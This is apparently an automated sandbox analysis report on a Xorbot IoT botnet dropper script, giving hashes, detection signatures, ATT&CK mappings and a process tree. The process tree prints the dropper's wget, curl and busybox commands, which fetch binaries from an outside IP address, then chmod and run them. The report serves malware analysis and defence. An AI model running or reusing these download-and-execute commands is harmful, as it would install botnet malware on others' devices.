xorbot | 4399d2ee79ecb5deba7f77bb2b21aa5f302115624d0ac0ae2a52543ab183c82b

Analysis

max time kernel
150s
max time network
147s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/02/2025, 08:57

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General

Target
bins.sh
Size 10KB
Sample250211-kwpbfa1rg1
SHA256 4399d2ee79ecb5deba7f77bb2b21aa5f302115624d0ac0ae2a52543ab183c82b
MD5 50b72caf0e9e8f610c871ab2addd7474
SHA1 e652157225600f28ec366d404e864ebbec1bfd55
SHA512 03050231244bd2cfcc5189f6f995b4b518429e988d5c62e153b649684df4b59d5881ddcfc774b3db7a562af95a5f9b57127fd58ef5451ef3bdb59fd18b18f401
SSDEEP 96:Tuq2s8fWqq+H6JAUl/fmZ+9PbagSLts8fWqYD+H6JAU5D1ZvfQZIEaPbcgSm3rZ:Tuw/fmZ+cq/KQ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
772	chmod
819	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB	774	bins.sh
/tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l	820	bins.sh

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l	wget
File opened for modification	/tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l	curl
File opened for modification	/tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l	busybox
File opened for modification	/tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT	wget
File opened for modification	/tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB	wget
File opened for modification	/tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB	curl
File opened for modification	/tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://194.85.251.8/bins/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://194.85.251.8/bins/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://194.85.251.8/bins/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  ./XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  PID:774
- /bin/rm
  rm XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  PID:777
- /usr/bin/wget
  wget http://194.85.251.8/bins/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  - Writes file to tmp directory
  PID:779
- /usr/bin/curl
  curl -O http://194.85.251.8/bins/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://194.85.251.8/bins/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  ./QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  PID:820
- /bin/rm
  rm QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  PID:822
- /usr/bin/wget
  wget http://194.85.251.8/bins/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
  2⤵
  - Writes file to tmp directory
  PID:823

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT

Path /tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
Size 100KB
SHA256 fbcc46cacdeb28fc01b540f97a3518f87a3037e9c27e02784c222600f7c7a0ac
MD5 62b458602901378677ab561ac16737b8
SHA1 00b394241e89548a1234892d06f8b08b66ba4bf6
SHA512 5c72d7ca3d7383e3fa5f136b6b865823d801bad1bd82f8cc54d1bc1208862e707b5caa5630f76e41a9359c85cf7a2c36fbb3377424abd722e420742b104e9c06
SSDEEP 1536:VozJBoIU8hzCisGFHl8IayKB7VK+ldnAjoTbgdTGzZd+gk8LiXwV:VozXHIisGFgyKB7xlBAUNFd4e
MD5 SHA1 SHA512 SSDEEP

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QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l

Path /tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

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XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB

Path /tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads